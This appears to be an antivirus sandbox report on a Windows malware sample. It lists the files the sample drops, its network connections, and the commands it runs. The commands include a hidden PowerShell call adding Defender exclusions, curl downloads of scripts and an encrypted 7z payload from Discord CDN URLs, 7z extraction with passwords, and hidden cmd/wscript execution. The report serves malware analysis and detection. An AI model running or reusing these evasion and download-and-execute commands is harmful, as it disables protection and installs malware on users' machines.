Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -nologo -noninteractive -windowStyle hidden -noprofile -command Add-MpPreference -ExclusionPath %ALLUSERSPROFILE%\RuntimeBroker.exe -Force; Add-MpPreference -ExclusionPath %TEMP%\Diagnostics\WI...
Modifies file system
Creates the following files
- %TEMP%\diagnostics\winword\7z.exe
- %TEMP%\diagnostics\winword\curl.exe
- %TEMP%\diagnostics\winword\libcurl.dll
- %TEMP%\diagnostics\winword\curl-ca-bundle.crt
- %TEMP%\diagnostics\winword\libcurl.def
- %TEMP%\diagnostics\winword\tray.cmd
- %TEMP%\diagnostics\winword\get.cmd
- %TEMP%\diagnostics\winword\temp-10930.vbs
- %TEMP%\diagnostics\winword\a88dkp74qazcwxvt5slyjyf54taw5xdo.7z
- nul
- %TEMP%\diagnostics\winword\sleep.vbs
Deletes the following files
- %TEMP%\diagnostics\winword\sleep.vbs
Network activity
Connects to
- 'localhost':49185
- 'cd#.##scordapp.com':443
- 'localhost':49188
- 'localhost':49191
TCP
Other
- 'localhost':49185
- 'localhost':49186
- 'cd#.##scordapp.com':443
- 'localhost':49188
- 'localhost':49189
- 'localhost':49191
- 'localhost':49192
UDP
- DNS ASK cd#.##scordapp.com
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%TEMP%\diagnostics\winword\curl.exe' -L -O https://cdn.discordapp.com/attachments/1193453257134198875/1193453880764272700/get.cmd
- '%TEMP%\diagnostics\winword\curl.exe' -L -O https://cdn.discordapp.com/attachments/1193453257134198875/1193453284271333386/a88DKP74QaZCWXvT5slyJYf54taW5XdO.7z
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\Diagnostics\WINWORD\temp-10930.vbs"
- '%TEMP%\diagnostics\winword\7z.exe' x -pYXwhwMyQ2EdlZd83J9bXS5ayOO0bw3EQ a88DKP74QaZCWXvT5slyJYf54taW5XdO.7z
- '%WINDIR%\syswow64\cscript.exe' //nologo "%TEMP%\Diagnostics\WINWORD\sleep.vbs"
- '%TEMP%\diagnostics\winword\7z.exe' x -px7gkYFwmLgB0vZuCz30LvGs4z7UMW26K QVcgVIDZHu1Tx1As1MT7kS3kwMPFLypN.7z
- '%TEMP%\diagnostics\winword\7z.exe' x -p0LcSF60aBxCaBltPn2oZQqdnl7JJeX9w hH6V8y5CnELzWuTtM3tTm6c3Sm0QLzbF.7z
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\Diagnostics\WINWORD\get.cmd' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Diagnostics\WINWORD\tray.cmd" "
- '%WINDIR%\syswow64\cscript.exe' //b //nologo temp-10930.vbs
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\Diagnostics\WINWORD\get.cmd
